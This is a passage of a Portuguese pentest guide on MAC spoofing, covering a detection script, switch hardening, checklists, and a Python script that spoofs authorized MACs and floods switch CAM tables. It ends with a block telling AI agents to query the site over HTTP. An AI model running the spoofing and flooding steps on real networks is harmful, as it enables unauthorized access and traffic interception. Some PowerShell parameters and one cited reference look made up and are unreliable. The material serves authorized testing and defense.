    A --> D[DoS/Switch Fail-Open]
    
    B --> B1[802.1X Bypass]
    B --> B2[MAC Filtering Bypass]
    B --> B3[Port Security Bypass]
    
    C --> C1[ARP Spoofing]
    C --> C2[MITM]
    C --> C3[Session Hijacking]
    
    D --> D1[MAC Flooding]
    D --> D2[CAM Table Overflow]
    D --> D3[Switch Fail-Open]
    
    C1 --> E[Roubo de Credenciais]
    C2 --> E
    B1 --> F[Acesso não autorizado]
    D3 --> G[Sniffing de toda rede]
    
    style A fill:#ff9999
    style E fill:#ff6666
    style F fill:#ff6666
    style G fill:#ff6666
```

***

## 🔍 **Detecção e Monitoramento**

### **Script de Detecção de MAC Spoofing**

```python
#!/usr/bin/env python3
# mac_spoofing_detector.py - Detector de MAC spoofing

import subprocess
import time
import re
from collections import defaultdict

class MACSpoofingDetector:
    """Detector de atividades suspeitas de MAC spoofing"""
    
    def __init__(self, interface='eth0', threshold=3):
        self.interface = interface
        self.threshold = threshold
        self.mac_history = defaultdict(list)  # {mac: [timestamps]}
        self.ip_mac_mapping = {}  # {ip: mac}
        self.alerts = []
    
    def start_monitoring(self, duration=60):
        """Monitorar tráfego por período específico"""
        print(f"🔍 Monitorando MAC spoofing em {self.interface} por {duration}s")
        print("=" * 60)
        
        try:
            # Capturar tráfego com tcpdump
            cmd = ['timeout', str(duration), 'tcpdump', '-i', self.interface, 
                   '-n', '-e', '-l']
            proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, 
                                   text=True, bufsize=1)
            
            for line in proc.stdout:
                self._analyze_line(line)
            
            proc.terminate()
            
        except Exception as e:
            print(f"❌ Erro: {e}")
        
        self._print_report()
    
    def _analyze_line(self, line):
        """Analisar linha do tcpdump"""
        # Formato: "xx:xx:xx:xx:xx:xx > yy:yy:yy:yy:yy:yy, ..."
        macs = re.findall(r'([0-9a-f:]{17})', line)
        
        # Extrair IPs
        ips = re.findall(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', line)
        
        current_time = time.time()
        
        # Analisar MACs
        for mac in macs:
            if mac != '00:00:00:00:00:00' and mac != 'ff:ff:ff:ff:ff:ff':
                self.mac_history[mac].append(current_time)
                
                # Verificar mudança rápida de MAC
                recent = [t for t in self.mac_history[mac] 
                         if current_time - t < 10]
                
                if len(recent) > self.threshold:
                    alert = {
                        'type': 'MAC_FLOOD',
                        'mac': mac,
                        'count': len(recent),
                        'timestamp': current_time
                    }
                    self._add_alert(alert)
        
        # Analisar mapeamento IP-MAC
        if len(ips) >= 2:
            src_ip, dst_ip = ips[0], ips[1]
            src_mac = macs[0] if len(macs) > 0 else None
            dst_mac = macs[1] if len(macs) > 1 else None
            
            if src_mac:
                if src_ip in self.ip_mac_mapping and self.ip_mac_mapping[src_ip] != src_mac:
                    alert = {
                        'type': 'MAC_CHANGE',
                        'ip': src_ip,
                        'old_mac': self.ip_mac_mapping[src_ip],
                        'new_mac': src_mac,
                        'timestamp': current_time
                    }
                    self._add_alert(alert)
                
                self.ip_mac_mapping[src_ip] = src_mac
    
    def _add_alert(self, alert):
        """Adicionar alerta e exibir"""
        timestamp = time.strftime('%H:%M:%S', time.localtime(alert['timestamp']))
        
        if alert['type'] == 'MAC_FLOOD':
            print(f"⚠️  [{timestamp}] MAC FLOOD: {alert['mac']} ({alert['count']} pacotes em 10s)")
            self.alerts.append(alert)
        
        elif alert['type'] == 'MAC_CHANGE':
            print(f"⚠️  [{timestamp}] MAC CHANGE: {alert['ip']}")
            print(f"     {alert['old_mac']} → {alert['new_mac']}")
            self.alerts.append(alert)
    
    def _print_report(self):
        """Imprimir relatório final"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE DETECÇÃO MAC SPOOFING")
        print("=" * 60)
        
        if not self.alerts:
            print("✅ Nenhuma atividade suspeita detectada")
            return
        
        print(f"🚨 {len(self.alerts)} alerta(s) detectado(s)\n")
        
        # Agrupar por tipo
        flood_alerts = [a for a in self.alerts if a['type'] == 'MAC_FLOOD']
        change_alerts = [a for a in self.alerts if a['type'] == 'MAC_CHANGE']
        
        if flood_alerts:
            print(f"💥 MAC Flooding detectado:")
            mac_counts = defaultdict(int)
            for a in flood_alerts:
                mac_counts[a['mac']] += 1
            
            for mac, count in mac_counts.items():
                print(f"   • {mac}: {count} ocorrências")
        
        if change_alerts:
            print(f"\n🎭 Mudanças de MAC suspeitas:")
            for a in change_alerts[:10]:
                print(f"   • {a['ip']}: {a['old_mac']} → {a['new_mac']}")

# Uso
detector = MACSpoofingDetector('eth0', threshold=5)
detector.start_monitoring(duration=30)
```

### **Ferramentas de Detecção**

```bash
# Monitorar mudanças de MAC
arpwatch -i eth0
arpwatch -i eth0 -f /var/lib/arpwatch/arp.dat

# Detectar MAC flooding
tcpdump -i eth0 -e | grep -E '([0-9a-f]{2}:){5}[0-9a-f]{2}' | cut -d' ' -f2 | sort | uniq -c | sort -rn

# Verificar tabela CAM (em switches Cisco)
show mac address-table count
show mac address-table aging-time

# Verificar port security violations
show port-security interface gigabitethernet 0/1

# Monitorar logs de switches
show logging | include MAC|violation|security
```

***

## 🛡️ **Mitigações e Controles**

### **Configuração de Switches**

#### **Port Security (Cisco)**

```cisco
! Configurar port security
interface GigabitEthernet0/1
 switchport mode access
 switchport port-security
 switchport port-security maximum 1
 switchport port-security violation shutdown
 switchport port-security mac-address sticky
 switchport port-security aging time 10
 switchport port-security aging type inactivity

! Verificar configuração
show port-security
show port-security interface gigabitethernet 0/1
show port-security address
```

#### **MAC Address Filtering**

```cisco
! Lista de MACs permitidos
mac address-table static 0000.1111.2222 vlan 1 interface gigabitethernet0/1

! Bloquear MACs não autorizados
mac address-table static 0000.1111.2222 vlan 1 drop

! Limitar aprendizado de MAC
mac address-table learning vlan 1
```

#### **DHCP Snooping + IP Source Guard**

```cisco
! DHCP snooping
ip dhcp snooping
ip dhcp snooping vlan 1-100

! IP source guard (previne spoofing)
interface GigabitEthernet0/1
 ip verify source
 ip dhcp snooping trust

! Dynamic ARP Inspection (DAI)
ip arp inspection vlan 1-100
ip arp inspection validate src-mac dst-mac ip
```

### **Configuração de Hosts**

#### **Linux - ARP Filtering**

```bash
# /etc/sysctl.conf
net.ipv4.conf.all.arp_filter = 1
net.ipv4.conf.all.arp_ignore = 1
net.ipv4.conf.all.arp_announce = 2

# Aplicar
sysctl -p
```

#### **Windows - Firewall Rules**

```powershell
# Bloquear MAC desconhecidos (exemplo)
New-NetFirewallRule -DisplayName "Block Unknown MAC" -Direction Inbound -Action Block -RemoteMacAddress 00-11-22-33-44-55

# Logging de MACs
Get-NetAdapter -Name Ethernet | Set-NetAdapter -MacAddressLogging Enabled
```

### **802.1X (Network Access Control)**

```yaml
Implementação 802.1X:
  
  Componentes:
    - Supplicant: Dispositivo cliente
    - Authenticator: Switch
    - Authentication Server: RADIUS (Cisco ISE, FreeRADIUS)
  
  Vantagens:
    - Autenticação baseada em identidade (não MAC)
    - Certificados digitais
    - VLAN dinâmica
    - Auditoria centralizada
  
  Modos:
    - EAP-TLS: Certificados (mais seguro)
    - PEAP-MSCHAPv2: Senhas (comum)
    - EAP-TTLS: Túnel TLS
```

### **Segmentação de Rede**

```yaml
Práticas de Segmentação:

  VLANs:
    - VLAN por departamento/função
    - VLAN de convidados isolada
    - VLAN de infraestrutura (switches, servidores)

  Private VLANs (PVLAN):
    - Isolamento entre hosts no mesmo segmento
    - Comunicação apenas com gateway

  ACLs de VLAN:
    - Controlar tráfego entre VLANs
    - Permitir apenas serviços necessários

  Network Access Control (NAC):
    - Verificação de integridade do dispositivo
    - Quarentena de dispositivos não conformes
```

***

## 🎯 **Pentesting com MAC Spoofing**

### **Metodologia de Teste**

```yaml
Fases do Teste MAC Spoofing:

  FASE 1 - Reconhecimento:
    - Identificar controles de rede (port security, 802.1X)
    - Mapear MACs autorizados
    - Documentar topologia de switches
    - Identificar portas ativas

  FASE 2 - Teste de Spoofing:
    - Tentar spoofar MAC de dispositivo autorizado
    - Verificar se port security é acionada
    - Testar se switch entra em modo hub (flooding)
    - Tentar bypass de filtros MAC

  FASE 3 - Teste de Port Security:
    - Enviar múltiplos MACs em uma porta
    - Verificar ação de violação (shutdown/protect/restrict)
    - Testar recuperação após violação

  FASE 4 - Validação:
    - Verificar acesso não autorizado
    - Documentar vulnerabilidades
    - Recomendar mitigações
```

### **Script de Teste Automatizado**

```python
#!/usr/bin/env python3
# mac_pentest.py - Teste de segurança MAC spoofing

import subprocess
import time
import sys
import threading

class MACPenTest:
    """Ferramenta de pentest para controles MAC"""
    
    def __init__(self, interface='eth0', target_mac=None):
        self.interface = interface
        self.target_mac = target_mac
        self.original_mac = self._get_current_mac()
        self.results = []
    
    def _get_current_mac(self):
        """Obter MAC atual"""
        try:
            result = subprocess.run(['ip', 'link', 'show', self.interface], 
                                    capture_output=True, text=True)
            import re
            match = re.search(r'link/ether ([0-9a-f:]{17})', result.stdout)
            return match.group(1) if match else None
        except:
            return None
    
    def _set_mac(self, new_mac):
        """Alterar MAC"""
        subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'], capture_output=True)
        subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'address', new_mac], capture_output=True)
        subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'], capture_output=True)
        time.sleep(1)
    
    def _restore_mac(self):
        """Restaurar MAC original"""
        if self.original_mac:
            self._set_mac(self.original_mac)
    
    def test_port_security(self):
        """Testar port security com múltiplos MACs"""
        print("\n📋 Teste 1: Port Security")
        print("-" * 40)
        
        try:
            # Enviar múltiplos MACs para a mesma porta
            for i in range(5):
                fake_mac = f"00:11:22:33:44:{i:02x}"
                self._set_mac(fake_mac)
                print(f"   Testando MAC {fake_mac}")
                time.sleep(0.5)
                
                # Verificar conectividade
                result = subprocess.run(['ping', '-c', '1', '-W', '1', '8.8.8.8'], 
                                       capture_output=True)
                if result.returncode == 0:
                    print(f"   ✅ Conexão OK (port security pode estar em modo protect)")
                else:
                    print(f"   ⚠️  Conexão perdida (port security pode ter shutdown)")
                    self.results.append({
                        'test': 'PORT_SECURITY',
                        'result': 'VIOLATION_DETECTED',
                        'details': f'Porta fechada após {i+1} MACs'
                    })
                    break
            else:
                self.results.append({
                    'test': 'PORT_SECURITY',
                    'result': 'WEAK',
                    'details': 'Múltiplos MACs aceitos - sem port security'
                })
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        self._restore_mac()
    
    def test_mac_filtering(self):
        """Testar filtros baseados em MAC"""
        print("\n📋 Teste 2: MAC Filtering")
        print("-" * 40)
        
        if not self.target_mac:
            print("   ⚠️  Nenhum MAC alvo especificado")
            return
        
        print(f"   MAC alvo: {self.target_mac}")
        
        # Tentar spoofar MAC autorizado
        self._set_mac(self.target_mac)
        
        # Testar conectividade
        result = subprocess.run(['ping', '-c', '2', '-W', '2', '8.8.8.8'], 
                               capture_output=True)
        
        if result.returncode == 0:
            print(f"   ✅ Conexão estabelecida com MAC spoofado")
            self.results.append({
                'test': 'MAC_FILTERING',
                'result': 'BYPASS',
                'details': f'Spoofing de MAC {self.target_mac} permitiu acesso'
            })
        else:
            print(f"   ❌ Sem acesso - filtros podem estar ativos")
            self.results.append({
                'test': 'MAC_FILTERING',
                'result': 'PROTECTED',
                'details': 'MAC spoofing não concedeu acesso'
            })
        
        self._restore_mac()
    
    def test_mac_flooding(self):
        """Testar vulnerabilidade a MAC flooding"""
        print("\n📋 Teste 3: MAC Flooding")
        print("-" * 40)
        
        print("   Enviando 2000 MACs aleatórios...")
        
        def flood():
            from mac_flooding import MACFlooding
            flooder = MACFlooding(self.interface, 2000)
            flooder.flood()
        
        flood_thread = threading.Thread(target=flood)
        flood_thread.start()
        
        # Monitorar por 10 segundos
        time.sleep(10)
        
        # Testar se switch está em modo hub
        print("   Testando se switch entrou em modo hub...")
        
        # Capturar tráfego não destinado
        result = subprocess.run(['timeout', '3', 'tcpdump', '-i', self.interface, '-c', '10'], 
                               capture_output=True, text=True)
        
        if result.stdout:
            print(f"   ⚠️  Tráfego detectado - possível modo hub")
            self.results.append({
                'test': 'MAC_FLOODING',
                'result': 'VULNERABLE',
                'details': 'Switch pode ter entrado em modo hub (fail-open)'
            })
        else:
            print(f"   ✅ Sem tráfego anormal - switch resistente")
            self.results.append({
                'test': 'MAC_FLOODING',
                'result': 'PROTECTED',
                'details': 'Switch não entrou em modo hub'
            })
    
    def run(self):
        """Executar todos os testes"""
        print(f"🔍 Iniciando pentest MAC Spoofing em {self.interface}")
        print("=" * 60)
        
        self.test_port_security()
        self.test_mac_filtering()
        self.test_mac_flooding()
        
        self._print_report()
    
    def _print_report(self):
        """Imprimir relatório final"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE PENTEST MAC SPOOFING")
        print("=" * 60)
        
        if not self.results:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        for result in self.results:
            print(f"\n🔍 {result['test']}:")
            print(f"   Resultado: {result['result']}")
            print(f"   Detalhes: {result['details']}")
        
        print("\n🎯 RECOMENDAÇÕES:")
        print("   • Configurar port security com violation shutdown")
        print("   • Implementar 802.1X para autenticação baseada em identidade")
        print("   • Habilitar DHCP snooping e IP source guard")
        print("   • Configurar Dynamic ARP Inspection (DAI)")
        print("   • Segmentar rede com VLANs e PVLANs")
        print("   • Monitorar logs de switches para violações")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: mac_pentest.py <interface> [target_mac]")
        sys.exit(1)
    
    target_mac = sys.argv[2] if len(sys.argv) > 2 else None
    pentest = MACPenTest(sys.argv[1], target_mac)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração de Switches**

* [ ] Habilitar port security em todas as portas de acesso
* [ ] Configurar violation shutdown para portas críticas
* [ ] Definir máximo de MACs por porta (1 para acesso, mais para uplinks)
* [ ] Configurar aging time para MACs aprendidos
* [ ] Habilitar sticky MAC para dispositivos fixos
* [ ] Implementar DHCP snooping
* [ ] Configurar Dynamic ARP Inspection (DAI)
* [ ] Habilitar IP source guard

#### **Controles de Rede**

* [ ] Implementar 802.1X para autenticação de dispositivos
* [ ] Configurar RADIUS para autenticação centralizada
* [ ] Criar VLANs isoladas por função
* [ ] Configurar Private VLANs (PVLAN) para isolamento
* [ ] Implementar ACLs de VLAN
* [ ] Configurar portas trusted para uplinks

#### **Monitoramento**

* [ ] Configurar logging de violações de port security
* [ ] Implementar SNMP traps para eventos de segurança
* [ ] Monitorar tabela MAC de switches
* [ ] Configurar alertas para múltiplos MACs por porta
* [ ] Revisar logs regularmente

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Mapear MACs autorizados na rede
* [ ] Identificar portas ativas e dispositivos conectados
* [ ] Verificar se há port security (tentar múltiplos MACs)
* [ ] Identificar fabricantes por OUI

#### **Testes (autorizados)**

* [ ] Testar spoofing de MAC autorizado
* [ ] Verificar violação de port security
* [ ] Testar MAC flooding (CAM overflow)
* [ ] Verificar bypass de 802.1X
* [ ] Testar evasão de monitoramento

#### **Documentação**

* [ ] Documentar portas vulneráveis
* [ ] Listar dispositivos com controles fracos
* [ ] Detalhar impacto potencial
* [ ] Recomendar mitigações específicas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
MAC Spoofing é uma técnica fundamental de ataque de camada 2:
  
  ✅ Pode ser prevenido com:
    - Port security em switches
    - 802.1X (autenticação baseada em identidade)
    - DHCP snooping + DAI
    - Segmentação de rede
    - Monitoramento contínuo

  🔴 Consequências:
    - Bypass de controles de acesso
    - Interceptação de tráfego (MITM)
    - DoS via MAC flooding
    - Evasão de monitoramento

  🎯 Prioridade de correção:
    - CRÍTICA para redes com dados sensíveis
    - ALTA para ambientes corporativos
    - MÉDIA para redes internas não críticas
```

### **Boas Práticas Essenciais**

1. **Port Security**
   * Limitar MACs por porta
   * Configurar violation shutdown
   * Usar sticky MAC para dispositivos fixos
2. **802.1X**
   * Autenticação baseada em identidade (não MAC)
   * Certificados digitais
   * VLAN dinâmica baseada em perfil
3. **DHCP Snooping + DAI**
   * Bindings IP-MAC confiáveis
   * Prevenção de ARP spoofing
   * Validação de pacotes ARP
4. **Segmentação**
   * VLANs por função
   * PVLAN para isolamento entre hosts
   * ACLs para controle de tráfego
5. **Monitoramento**
   * Logs centralizados (SIEM)
   * Alertas para violações
   * Auditoria regular

### **Ferramentas de Proteção**

| Ferramenta          | Função                       | Nível         |
| ------------------- | ---------------------------- | ------------- |
| **Port Security**   | Limita MACs por porta        | Switch        |
| **802.1X**          | Autenticação de dispositivos | Switch/RADIUS |
| **DHCP Snooping**   | Bindings IP-MAC confiáveis   | Switch        |
| **IP Source Guard** | Filtragem de tráfego IP      | Switch        |
| **DAI**             | Validação ARP                | Switch        |
| **Cisco ISE**       | NAC centralizado             | Centralizado  |
| **FreeRADIUS**      | Servidor RADIUS              | Centralizado  |

### **Referências e Padrões**

* **IEEE 802.1X** - Port-Based Network Access Control
* **IEEE 802.1Q** - VLAN Tagging
* **RFC 826** - Ethernet Address Resolution Protocol
* **Cisco Port Security** - Configuration Guide
* **NIST SP 800-53** - Access Control and Monitoring
* **OWASP** - MAC Spoofing Testing Guide

***

**✅ Este guia completo sobre MAC Spoofing fornece uma base sólida para entender, prevenir e testar ataques de camada 2, com ênfase em práticas seguras e técnicas de pentesting.**

**Próximos passos sugeridos:**

* Implementar laboratório com port security em switches
* Configurar 802.1X com FreeRADIUS
* Praticar técnicas de MAC spoofing em ambiente controlado
* Auditar redes existentes com os checklists fornecidos
* Implementar monitoramento de logs de switches com SIEM


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/mac-spoofing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
